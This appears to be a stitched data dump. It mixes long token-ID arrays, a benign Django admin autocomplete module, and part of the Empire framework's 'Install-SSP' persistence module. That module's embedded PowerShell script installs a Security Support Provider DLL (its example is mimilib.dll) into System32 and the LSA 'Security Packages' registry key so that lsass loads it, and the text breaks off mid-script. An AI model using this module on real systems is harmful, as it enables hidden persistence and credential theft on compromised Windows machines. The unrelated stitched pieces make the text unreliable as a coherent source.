299, 478, 63, 66, 588, 11549, 14, 3269, 8, 56, 12, 1488, 9, 272, 327, 1104, 4472, 12107, 402, 8697, 334, 384, 370, 314, 2070, 402, 314, 3499, 2763, 9, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 267, 299, 478, 63, 991, 78, 711, 2551, 14, 88, 63, 912, 780, 3131, 267, 980, 14, 13710, 8, 80, 478, 63, 66, 588, 11549, 14, 88, 63, 912, 780, 3131, 980, 14, 1144, 779, 17, 12, 446, 17, 12, 413, 12884, 6107, 29, 21, 12, 267, 2329, 63, 1328, 628, 78, 711, 2551, 436, 26937, 4514, 12690, 370, 3365, 671, 2248, 780, 531, 339, 702, 63, 1144, 63, 4398, 63, 1452, 8, 267, 299, 478, 63, 991, 78, 711, 2551, 14, 89, 63, 912, 780, 3131, 267, 980, 14, 13710, 8, 80, 478, 63, 66, 588, 11549, 14, 89, 63, 912, 780, 3131, 980, 14, 1144, 779, 17, 12, 446, 17, 12, 413, 12884, 6107, 29, 21, 12, 267, 2329, 63, 1328, 628, 78, 711, 2551, 436, 26937, 4514, 12690, 370, 3365, 612, 2248, 780, 531, 339, 327, 2670, 510, 5296, 4382, 334, 1045, 302, 63, 4608, 29, 56, 14, 1392, 59, 17, 566, 272, 327, 9527, 2595, 272, 299, 478, 696, 275, 299, 478, 14, 2749, 5153, 290, 7174, 8, 78, 63, 4608, 29, 56, 14, 1392, 59, 17, 566, 272, 299, 478, 696, 14, 3269, 8, 56, 12, 1488, 9, 272, 377, 275, 299, 478, 696, 14, 88, 63, 7107, 63, 272, 510, 275, 299, 478, 696, 14, 88, 63, 912, 780, 63, 272, 644, 88, 275, 299, 478, 696, 14, 88, 63, 4916, 63, 272, 738, 275, 299, 478, 696, 14, 89, 63, 7107, 63, 272, 1413, 275, 299, 478, 696, 14, 89, 63, 912, 780, 63, 272, 644, 89, 275, 299, 478, 696, 14, 89, 63, 4916, 63, 339, 347, 1104, 63, 11297, 79, 8, 45, 12, 2329, 63, 1328, 304, 267, 1804, 275, 980, 14, 3287, 8, 45, 14, 52, 12, 603, 9, 267, 702, 63, 1144, 63, 4398, 63, 1452, 8, 43, 12, 980, 14, 6706, 8, 1590, 14, 6706, 8, 43, 1826, 2329, 63, 1328, 29, 1508, 63, 1328, 9, 339, 327, 4236, 273, 974, 265, 6712, 402, 4931, 272, 327, 18294, 4919, 272, 1104, 63, 11297, 79, 8, 55, 88, 12, 298, 88, 4931, 787, 440, 29069, 531, 272, 1104, 63, 11297, 79, 8, 55, 89, 12, 298, 89, 4931, 787, 440, 29069, 531, 339, 327, 4236, 273, 974, 265, 6712, 402, 2465, 343, 9342, 272, 327, 18294, 22935, 1714, 272, 1104, 63, 11297, 79, 8, 52, 12, 298, 88, 9342, 787, 440, 29069, 531, 272, 1104, 63, 11297, 79, 8, 53, 12, 298, 89, 9342, 787, 440, 29069, 531, 339, 327, 2670, 1323, 275, 24328, 7, 436, 1488, 275, 738, 49, 7, 334, 1045, 334, 80, 508, 1894, 9, 7323, 9, 272, 327, 18294, 30642, 2878, 272, 327, 8126, 4666, 1323, 12, 1488, 272, 1323, 67, 12, 1488, 67, 12, 671, 63, 3670, 12, 612, 63, 3670, 12, 671, 63, 1516, 12, 612, 63, 1516, 26447, 267, 299, 478, 423, 4218, 63, 3467, 63, 1702, 8, 56, 14, 1574, 1062, 1488, 14, 1574, 1062, 4666, 29, 549, 9, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 56, 67, 12, 980, 14, 3287, 8, 52, 12, 510, 14, 52, 395, 2329, 63, 1328, 628, 56, 1137, 24328, 9859, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 57, 67, 12, 980, 14, 3287, 8, 53, 12, 1413, 14, 52, 395, 2329, 63, 1328, 628, 57, 1137, 738, 49, 9859, 339, 327, 2670, 626, 7513, 1298, 641, 6093, 666, 12690, 370, 9342, 272, 327, 18294, 30642, 2878, 272, 1323, 82, 275, 299, 478, 696, 14, 4711, 8, 56, 9, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 56, 82, 12, 299, 478, 696, 14, 88, 63, 7107, 3131, 2892, 2329, 63, 1328, 628, 15362, 641, 1323, 3405, 531, 272, 1323, 82, 12, 1488, 82, 275, 299, 478, 696, 14, 4711, 8, 56, 12, 1488, 9, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 56, 82, 12, 299, 478, 696, 14, 88, 63, 7107, 3131, 2892, 2329, 63, 1328, 628, 15362, 641, 1323, 3405, 531, 272, 702, 63, 1144, 63, 4398, 63, 1452, 8, 57, 82, 12, 299, 478, 696, 14, 89, 63, 7107, 3131, 2892, 2329, 63, 1328, 628, 15362, 641, 1488, 3405, 531, 339, 327, 298, 6932, 10864, 511, 2, 641, 11358, 510, 5296, 272, 327, 11016, 8648, 272, 327, 710, 2058, 4898, 7923, 6169, 314, 820, 13, 2491, 299, 478, 7073, 272, 299, 478, 63, 696, 275, 299, 478, 14, 2749, 5153, 290, 7174, 8, 78, 63, 4608, 29, 56, 14, 1392, 59, 17, 566, 272, 299, 478, 63, 696, 14, 3269, 8, 56, 12, 1488, 9, 339, 671, 63, 4916, 275, 980, 14, 1144, 8, 267, 27291, 16, 14, 30896, 11516, 966, 12, 221, 378, 14, 3912, 975, 7119, 12, 446, 16, 14, 17592, 1046, 11775, 467, 268, 5243, 16, 14, 1342, 19301, 9862, 12, 221, 378, 14, 7119, 1216, 26814, 12, 221, 378, 14, 11157, 1690, 10997, 467, 268, 5243, 16, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
xiangel/hue
desktop/core/ext-py/django-extensions-1.5.0/django_extensions/admin/__init__.py
37
6199
# # Autocomplete feature for admin panel # import six import operator from six.moves import reduce from django.http import HttpResponse, HttpResponseNotFound from django.conf import settings from django.db import models from django.db.models.query import QuerySet from django.utils.encoding import smart_str from django.utils.translation import ugettext as _ from django.utils.text import get_text_list from django.contrib.admin import ModelAdmin try: from functools import update_wrapper assert update_wrapper except ImportError: from django.utils.functional import update_wrapper from django_extensions.admin.widgets import ForeignKeySearchInput class ForeignKeyAutocompleteAdmin(ModelAdmin): """Admin class for models using the autocomplete feature. There are two additional fields: - related_search_fields: defines fields of managed model that have to be represented by autocomplete input, together with a list of target model fields that are searched for input string, e.g.: related_search_fields = { 'author': ('first_name', 'email'), } - related_string_functions: contains optional functions which take target model instance as only argument and return string representation. By default __unicode__() method of target object is used. And also an optional additional field to set the limit on the results returned by the autocomplete query. You can set this integer value in your settings file using FOREIGNKEY_AUTOCOMPLETE_LIMIT or you can set this per ForeignKeyAutocompleteAdmin basis. If any value is set the results will not be limited. """ related_search_fields = {} related_string_functions = {} autocomplete_limit = getattr(settings, 'FOREIGNKEY_AUTOCOMPLETE_LIMIT', None) def get_urls(self): from django.conf.urls import patterns, url def wrap(view): def wrapper(*args, **kwargs): return self.admin_site.admin_view(view)(*args, **kwargs) return update_wrapper(wrapper, view) info = self.model._meta.app_label, self.model._meta.module_name urlpatterns = patterns('', url(r'foreignkey_autocomplete/$', wrap(self.foreignkey_autocomplete), name='%s_%s_autocomplete' % info)) urlpatterns += super(ForeignKeyAutocompleteAdmin, self).get_urls() return urlpatterns def foreignkey_autocomplete(self, request): """ Searches in the fields of the given related model and returns the result as a simple string to be used by the jQuery Autocomplete plugin """ query = request.GET.get('q', None) app_label = request.GET.get('app_label', None) model_name = request.GET.get('model_name', None) search_fields = request.GET.get('search_fields', None) object_pk = request.GET.get('object_pk', None) try: to_string_function = self.related_string_functions[model_name] except KeyError: if six.PY3: to_string_function = lambda x: x.__str__() else: to_string_function = lambda x: x.__unicode__() if search_fields and app_label and model_name and (query or object_pk): def construct_search(field_name): # use different lookup methods depending on the notation if field_name.startswith('^'): return "%s__istartswith" % field_name[1:] elif field_name.startswith('='): return "%s__iexact" % field_name[1:] elif field_name.startswith('@'): return "%s__search" % field_name[1:] else: return "%s__icontains" % field_name model = models.get_model(app_label, model_name) queryset = model._default_manager.all() data = '' if query: for bit in query.split(): or_queries = [models.Q(**{construct_search(smart_str(field_name)): smart_str(bit)}) for field_name in search_fields.split(',')] other_qs = QuerySet(model) other_qs.query.select_related = queryset.query.select_related other_qs = other_qs.filter(reduce(operator.or_, or_queries)) queryset = queryset & other_qs if self.autocomplete_limit: queryset = queryset[:self.autocomplete_limit] data = ''.join([six.u('%s|%s\n') % (to_string_function(f), f.pk) for f in queryset]) elif object_pk: try: obj = queryset.get(pk=object_pk) except: pass else: data = to_string_function(obj) return HttpResponse(data) return HttpResponseNotFound() def get_help_text(self, field_name, model_name): searchable_fields = self.related_search_fields.get(field_name, None) if searchable_fields: help_kwargs = { 'model_name': model_name, 'field_list': get_text_list(searchable_fields, _('and')), } return _('Use the left field to do %(model_name)s lookups in the fields %(field_list)s.') % help_kwargs return '' def formfield_for_dbfield(self, db_field, **kwargs): """ Overrides the default widget for Foreignkey fields if they are specified in the related_search_fields class attribute. """ if (isinstance(db_field, models.ForeignKey) and db_field.name in self.related_search_fields): model_name = db_field.rel.to._meta.object_name help_text = self.get_help_text(db_field.name, model_name) if kwargs.get('help_text'): help_text = six.u('%s %s' % (kwargs['help_text'], help_text)) kwargs['widget'] = ForeignKeySearchInput(db_field.rel, self.related_search_fields[db_field.name]) kwargs['help_text'] = help_text return super(ForeignKeyAutocompleteAdmin, self).formfield_for_dbfield(db_field, **kwargs)
apache-2.0
[ 3, 199, 3, 9195, 4883, 3878, 367, 4628, 12748, 199, 3, 199, 646, 3816, 199, 646, 4182, 199, 504, 3816, 14, 4912, 492, 7114, 199, 199, 504, 1639, 14, 1014, 492, 6183, 12, 6183, 4667, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 697, 14, 992, 14, 1131, 492, 18397, 199, 504, 1639, 14, 1208, 14, 2991, 492, 11179, 63, 495, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 465, 485, 199, 504, 1639, 14, 1208, 14, 505, 492, 664, 63, 505, 63, 513, 199, 504, 1639, 14, 2828, 14, 2113, 492, 30093, 199, 199, 893, 26, 272, 687, 9143, 492, 1678, 63, 5029, 272, 702, 1678, 63, 5029, 199, 2590, 3545, 26, 272, 687, 1639, 14, 1208, 14, 15481, 492, 1678, 63, 5029, 199, 199, 504, 1639, 63, 5359, 14, 2113, 14, 8583, 492, 12718, 5278, 3205, 421, 199, 533, 12718, 3358, 4883, 4880, 8, 12976, 304, 272, 408, 4880, 1021, 367, 1709, 1808, 314, 2599, 4883, 3878, 14, 339, 6006, 787, 2877, 4722, 1504, 26, 2126, 446, 4048, 63, 1733, 63, 955, 26, 7890, 1504, 402, 12883, 1402, 626, 268, 1172, 370, 506, 11159, 701, 2599, 4883, 1324, 12, 10451, 543, 268, 282, 769, 402, 1347, 1402, 1504, 626, 787, 17543, 367, 268, 1324, 1059, 12, 325, 14, 71, 16781, 13359, 4048, 63, 1733, 63, 955, 275, 469, 288, 283, 2502, 356, 661, 2246, 63, 354, 297, 283, 2123, 659, 268, 789, 10817, 446, 4048, 63, 875, 63, 5777, 26, 3509, 2716, 3423, 1314, 268, 5452, 1347, 1402, 1256, 465, 1454, 1423, 436, 372, 1059, 268, 6025, 14, 4885, 849, 636, 2975, 4533, 1083, 402, 1347, 268, 909, 365, 1202, 14, 339, 6061, 2597, 376, 2716, 4722, 901, 370, 663, 314, 2304, 641, 314, 272, 2058, 2138, 701, 314, 2599, 4883, 1827, 14, 2047, 883, 663, 642, 3000, 272, 574, 315, 2195, 2202, 570, 1808, 2381, 37, 3203, 3078, 63, 13883, 15558, 63, 13387, 503, 272, 1265, 883, 663, 642, 1126, 12718, 3358, 4883, 4880, 5597, 14, 982, 1263, 574, 272, 365, 663, 314, 2058, 911, 440, 506, 13988, 14, 272, 408, 339, 4048, 63, 1733, 63, 955, 275, 1052, 272, 4048, 63, 875, 63, 5777, 275, 1052, 272, 2599, 4883, 63, 3097, 275, 2519, 8, 1751, 12, 283, 18155, 3203, 3078, 63, 13883, 15558, 63, 13387, 297, 488, 9, 339, 347, 664, 63, 3603, 8, 277, 304, 267, 687, 1639, 14, 2190, 14, 3603, 492, 7970, 12, 1166, 398, 347, 4816, 8, 1345, 304, 288, 347, 4975, 2031, 589, 12, 1011, 958, 304, 355, 372, 291, 14, 2113, 63, 2124, 14, 2113, 63, 1345, 8, 1345, 25967, 589, 12, 1011, 958, 9, 288, 372, 1678, 63, 5029, 8, 5029, 12, 2455, 9, 398, 2256, 275, 291, 14, 1238, 423, 2024, 14, 571, 63, 1302, 12, 291, 14, 1238, 423, 2024, 14, 578, 63, 354, 398, 26177, 275, 7970, 8594, 1166, 8, 82, 7, 11766, 63, 29695, 10884, 4816, 8, 277, 14, 11766, 63, 29695, 395, 536, 9569, 83, 4970, 83, 63, 29695, 7, 450, 2256, 430, 267, 26177, 847, 1613, 8, 3190, 3358, 4883, 4880, 12, 291, 680, 362, 63, 3603, 342, 267, 372, 26177, 339, 347, 11608, 498, 63, 29695, 8, 277, 12, 1056, 304, 267, 408, 267, 8730, 397, 315, 314, 1504, 402, 314, 1627, 4048, 1402, 436, 2529, 314, 267, 754, 465, 282, 3486, 1059, 370, 506, 1202, 701, 314, 1335, 3227, 9195, 4883, 3589, 267, 408, 267, 1827, 275, 1056, 14, 2970, 14, 362, 360, 81, 297, 488, 9, 267, 1145, 63, 1302, 275, 1056, 14, 2970, 14, 362, 360, 571, 63, 1302, 297, 488, 9, 267, 1402, 63, 354, 275, 1056, 14, 2970, 14, 362, 360, 1238, 63, 354, 297, 488, 9, 267, 2754, 63, 955, 275, 1056, 14, 2970, 14, 362, 360, 1733, 63, 955, 297, 488, 9, 267, 909, 63, 2051, 275, 1056, 14, 2970, 14, 362, 360, 785, 63, 2051, 297, 488, 9, 398, 862, 26, 288, 370, 63, 875, 63, 1593, 275, 291, 14, 2407, 63, 875, 63, 5777, 59, 1238, 63, 354, 61, 267, 871, 4067, 26, 288, 340, 3816, 14, 4521, 19, 26, 355, 370, 63, 875, 63, 1593, 275, 2400, 671, 26, 671, 855, 495, 4533, 288, 587, 26, 355, 370, 63, 875, 63, 1593, 275, 2400, 671, 26, 671, 855, 2975, 4533, 398, 340, 2754, 63, 955, 436, 1145, 63, 1302, 436, 1402, 63, 354, 436, 334, 1131, 503, 909, 63, 2051, 304, 288, 347, 6982, 63, 1733, 8, 698, 63, 354, 304, 355, 327, 675, 3365, 4237, 3102, 10298, 641, 314, 15843, 355, 340, 901, 63, 354, 14, 2460, 9097, 735, 490, 372, 2071, 83, 363, 631, 580, 1908, 2, 450, 901, 63, 354, 59, 17, 2938, 355, 916, 901, 63, 354, 14, 2460, 360, 534, 304, 490, 372, 2071, 83, 363, 32344, 2, 450, 901, 63, 354, 59, 17, 2938, 355, 916, 901, 63, 354, 14, 2460, 16591, 735, 490, 372, 2071, 83, 363, 1733, 2, 450, 901, 63, 354, 59, 17, 2938, 355, 587, 26, 490, 372, 2071, 83, 363, 30314, 2, 450, 901, 63, 354, 288, 1402, 275, 1709, 14, 362, 63, 1238, 8, 571, 63, 1302, 12, 1402, 63, 354, 9, 288, 7594, 275, 1402, 423, 885, 63, 2609, 14, 452, 342, 288, 666, 275, 2125, 288, 340, 1827, 26, 355, 367, 4546, 315, 1827, 14, 1294, 837, 490, 503, 63, 10590, 275, 359, 992, 14, 49, 25679, 8514, 63, 1733, 8, 7853, 63, 495, 8, 698, 63, 354, 2298, 11179, 63, 495, 8, 2075, 11466, 367, 901, 63, 354, 315, 2754, 63, 955, 14, 1294, 29972, 490, 1163, 63, 6177, 275, 18397, 8, 1238, 9, 490, 1163, 63, 6177, 14, 1131, 14, 2416, 63, 2407, 275, 7594, 14, 1131, 14, 2416, 63, 2407, 490, 1163, 63, 6177, 275, 1163, 63, 6177, 14, 1541, 8, 5270, 8, 3856, 14, 269, 3131, 503, 63, 10590, 430, 490, 7594, 275, 7594, 1253, 1163, 63, 6177, 2234, 340, 291, 14, 29695, 63, 3097, 26, 490, 7594, 275, 7594, 1491, 277, 14, 29695, 63, 3097, 61, 2234, 666, 275, 6522, 904, 779, 4174, 14, 85, 3508, 83, 15287, 83, 60, 78, 358, 450, 334, 475, 63 ]
[ 199, 3, 9195, 4883, 3878, 367, 4628, 12748, 199, 3, 199, 646, 3816, 199, 646, 4182, 199, 504, 3816, 14, 4912, 492, 7114, 199, 199, 504, 1639, 14, 1014, 492, 6183, 12, 6183, 4667, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 697, 14, 992, 14, 1131, 492, 18397, 199, 504, 1639, 14, 1208, 14, 2991, 492, 11179, 63, 495, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 465, 485, 199, 504, 1639, 14, 1208, 14, 505, 492, 664, 63, 505, 63, 513, 199, 504, 1639, 14, 2828, 14, 2113, 492, 30093, 199, 199, 893, 26, 272, 687, 9143, 492, 1678, 63, 5029, 272, 702, 1678, 63, 5029, 199, 2590, 3545, 26, 272, 687, 1639, 14, 1208, 14, 15481, 492, 1678, 63, 5029, 199, 199, 504, 1639, 63, 5359, 14, 2113, 14, 8583, 492, 12718, 5278, 3205, 421, 199, 533, 12718, 3358, 4883, 4880, 8, 12976, 304, 272, 408, 4880, 1021, 367, 1709, 1808, 314, 2599, 4883, 3878, 14, 339, 6006, 787, 2877, 4722, 1504, 26, 2126, 446, 4048, 63, 1733, 63, 955, 26, 7890, 1504, 402, 12883, 1402, 626, 268, 1172, 370, 506, 11159, 701, 2599, 4883, 1324, 12, 10451, 543, 268, 282, 769, 402, 1347, 1402, 1504, 626, 787, 17543, 367, 268, 1324, 1059, 12, 325, 14, 71, 16781, 13359, 4048, 63, 1733, 63, 955, 275, 469, 288, 283, 2502, 356, 661, 2246, 63, 354, 297, 283, 2123, 659, 268, 789, 10817, 446, 4048, 63, 875, 63, 5777, 26, 3509, 2716, 3423, 1314, 268, 5452, 1347, 1402, 1256, 465, 1454, 1423, 436, 372, 1059, 268, 6025, 14, 4885, 849, 636, 2975, 4533, 1083, 402, 1347, 268, 909, 365, 1202, 14, 339, 6061, 2597, 376, 2716, 4722, 901, 370, 663, 314, 2304, 641, 314, 272, 2058, 2138, 701, 314, 2599, 4883, 1827, 14, 2047, 883, 663, 642, 3000, 272, 574, 315, 2195, 2202, 570, 1808, 2381, 37, 3203, 3078, 63, 13883, 15558, 63, 13387, 503, 272, 1265, 883, 663, 642, 1126, 12718, 3358, 4883, 4880, 5597, 14, 982, 1263, 574, 272, 365, 663, 314, 2058, 911, 440, 506, 13988, 14, 272, 408, 339, 4048, 63, 1733, 63, 955, 275, 1052, 272, 4048, 63, 875, 63, 5777, 275, 1052, 272, 2599, 4883, 63, 3097, 275, 2519, 8, 1751, 12, 283, 18155, 3203, 3078, 63, 13883, 15558, 63, 13387, 297, 488, 9, 339, 347, 664, 63, 3603, 8, 277, 304, 267, 687, 1639, 14, 2190, 14, 3603, 492, 7970, 12, 1166, 398, 347, 4816, 8, 1345, 304, 288, 347, 4975, 2031, 589, 12, 1011, 958, 304, 355, 372, 291, 14, 2113, 63, 2124, 14, 2113, 63, 1345, 8, 1345, 25967, 589, 12, 1011, 958, 9, 288, 372, 1678, 63, 5029, 8, 5029, 12, 2455, 9, 398, 2256, 275, 291, 14, 1238, 423, 2024, 14, 571, 63, 1302, 12, 291, 14, 1238, 423, 2024, 14, 578, 63, 354, 398, 26177, 275, 7970, 8594, 1166, 8, 82, 7, 11766, 63, 29695, 10884, 4816, 8, 277, 14, 11766, 63, 29695, 395, 536, 9569, 83, 4970, 83, 63, 29695, 7, 450, 2256, 430, 267, 26177, 847, 1613, 8, 3190, 3358, 4883, 4880, 12, 291, 680, 362, 63, 3603, 342, 267, 372, 26177, 339, 347, 11608, 498, 63, 29695, 8, 277, 12, 1056, 304, 267, 408, 267, 8730, 397, 315, 314, 1504, 402, 314, 1627, 4048, 1402, 436, 2529, 314, 267, 754, 465, 282, 3486, 1059, 370, 506, 1202, 701, 314, 1335, 3227, 9195, 4883, 3589, 267, 408, 267, 1827, 275, 1056, 14, 2970, 14, 362, 360, 81, 297, 488, 9, 267, 1145, 63, 1302, 275, 1056, 14, 2970, 14, 362, 360, 571, 63, 1302, 297, 488, 9, 267, 1402, 63, 354, 275, 1056, 14, 2970, 14, 362, 360, 1238, 63, 354, 297, 488, 9, 267, 2754, 63, 955, 275, 1056, 14, 2970, 14, 362, 360, 1733, 63, 955, 297, 488, 9, 267, 909, 63, 2051, 275, 1056, 14, 2970, 14, 362, 360, 785, 63, 2051, 297, 488, 9, 398, 862, 26, 288, 370, 63, 875, 63, 1593, 275, 291, 14, 2407, 63, 875, 63, 5777, 59, 1238, 63, 354, 61, 267, 871, 4067, 26, 288, 340, 3816, 14, 4521, 19, 26, 355, 370, 63, 875, 63, 1593, 275, 2400, 671, 26, 671, 855, 495, 4533, 288, 587, 26, 355, 370, 63, 875, 63, 1593, 275, 2400, 671, 26, 671, 855, 2975, 4533, 398, 340, 2754, 63, 955, 436, 1145, 63, 1302, 436, 1402, 63, 354, 436, 334, 1131, 503, 909, 63, 2051, 304, 288, 347, 6982, 63, 1733, 8, 698, 63, 354, 304, 355, 327, 675, 3365, 4237, 3102, 10298, 641, 314, 15843, 355, 340, 901, 63, 354, 14, 2460, 9097, 735, 490, 372, 2071, 83, 363, 631, 580, 1908, 2, 450, 901, 63, 354, 59, 17, 2938, 355, 916, 901, 63, 354, 14, 2460, 360, 534, 304, 490, 372, 2071, 83, 363, 32344, 2, 450, 901, 63, 354, 59, 17, 2938, 355, 916, 901, 63, 354, 14, 2460, 16591, 735, 490, 372, 2071, 83, 363, 1733, 2, 450, 901, 63, 354, 59, 17, 2938, 355, 587, 26, 490, 372, 2071, 83, 363, 30314, 2, 450, 901, 63, 354, 288, 1402, 275, 1709, 14, 362, 63, 1238, 8, 571, 63, 1302, 12, 1402, 63, 354, 9, 288, 7594, 275, 1402, 423, 885, 63, 2609, 14, 452, 342, 288, 666, 275, 2125, 288, 340, 1827, 26, 355, 367, 4546, 315, 1827, 14, 1294, 837, 490, 503, 63, 10590, 275, 359, 992, 14, 49, 25679, 8514, 63, 1733, 8, 7853, 63, 495, 8, 698, 63, 354, 2298, 11179, 63, 495, 8, 2075, 11466, 367, 901, 63, 354, 315, 2754, 63, 955, 14, 1294, 29972, 490, 1163, 63, 6177, 275, 18397, 8, 1238, 9, 490, 1163, 63, 6177, 14, 1131, 14, 2416, 63, 2407, 275, 7594, 14, 1131, 14, 2416, 63, 2407, 490, 1163, 63, 6177, 275, 1163, 63, 6177, 14, 1541, 8, 5270, 8, 3856, 14, 269, 3131, 503, 63, 10590, 430, 490, 7594, 275, 7594, 1253, 1163, 63, 6177, 2234, 340, 291, 14, 29695, 63, 3097, 26, 490, 7594, 275, 7594, 1491, 277, 14, 29695, 63, 3097, 61, 2234, 666, 275, 6522, 904, 779, 4174, 14, 85, 3508, 83, 15287, 83, 60, 78, 358, 450, 334, 475, 63, 0 ]
[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]
xujun10110/Empire
lib/modules/persistence/misc/install_ssp.py
22
8473
from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Install-SSP', 'Author': ['@mattifestation'], 'Description': ('Installs a security support provider (SSP) dll.'), 'Background' : True, 'OutputExtension' : None, 'NeedsAdmin' : True, 'OpsecSafe' : False, 'MinPSVersion' : '2', 'Comments': [ 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, 'Path' : { 'Description' : "Path of the SSP .dll (on the target machine) to install.", 'Required' : True, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self): script = """ function Install-SSP { <# .SYNOPSIS Installs a security support provider (SSP) dll. Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Install-SSP installs an SSP dll. Installation involves copying the dll to %windir%\\System32 and adding the name of the dll to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages. .PARAMETER Remove Specifies the path to the SSP dll you would like to install. .EXAMPLE Install-SSP -Path .\\mimilib.dll .NOTES The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll if you are running a 64-bit OS. In order for the SSP dll to be loaded properly into lsass, the dll must export SpLsaModeInitialize. #> [CmdletBinding()] Param ( [ValidateScript({Test-Path (Resolve-Path $_)})] [String] $Path ) $Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.' } # Resolve the full path if a relative path was provided. $FullDllPath = Resolve-Path $Path # Helper function used to determine the dll architecture function local:Get-PEArchitecture { Param ( [Parameter( Position = 0, Mandatory = $True )] [String] $Path ) # Parse PE header to see if binary was compiled 32 or 64-bit $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) [Byte[]] $MZHeader = New-Object Byte[](2) $FileStream.Read($MZHeader,0,2) | Out-Null $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) if ($Header -ne 'MZ') { $FileStream.Close() Throw 'Invalid PE header.' } # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $lfanew = New-Object Byte[](4) # Read offset to the PE Header (will be read in reverse) $FileStream.Read($lfanew,0,4) | Out-Null $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) # Read compiled architecture $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') $FileStream.Close() if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Throw 'Invalid PE header or unsupported architecture.' } if ($Architecture -eq '014C') { Write-Output '32-bit' } elseif ($Architecture -eq '8664') { Write-Output '64-bit' } else { Write-Output 'Other' } } $DllArchitecture = Get-PEArchitecture $FullDllPath $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture if ($DllArchitecture -ne $OSArch) { throw 'The operating system architecture must match the architecture of the SSP dll.' } $Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name # Get the dll filename without the extension. # This will be added to the registry. $DllName = $Dll | % { % {($_ -split '\\.')[0]} } # Enumerate all of the currently installed SSPs $SecurityPackages = Get-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages' if ($SecurityPackages -contains $DllName) { throw "'$DllName' is already present in HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages." } # In case you're running 32-bit PowerShell on a 64-bit OS $NativeInstallDir = "$($Env:windir)\\Sysnative" if (Test-Path $NativeInstallDir) { $InstallDir = $NativeInstallDir } else { $InstallDir = "$($Env:windir)\\System32" } if (Test-Path (Join-Path $InstallDir $Dll)) { throw "$Dll is already installed in $InstallDir." } # If 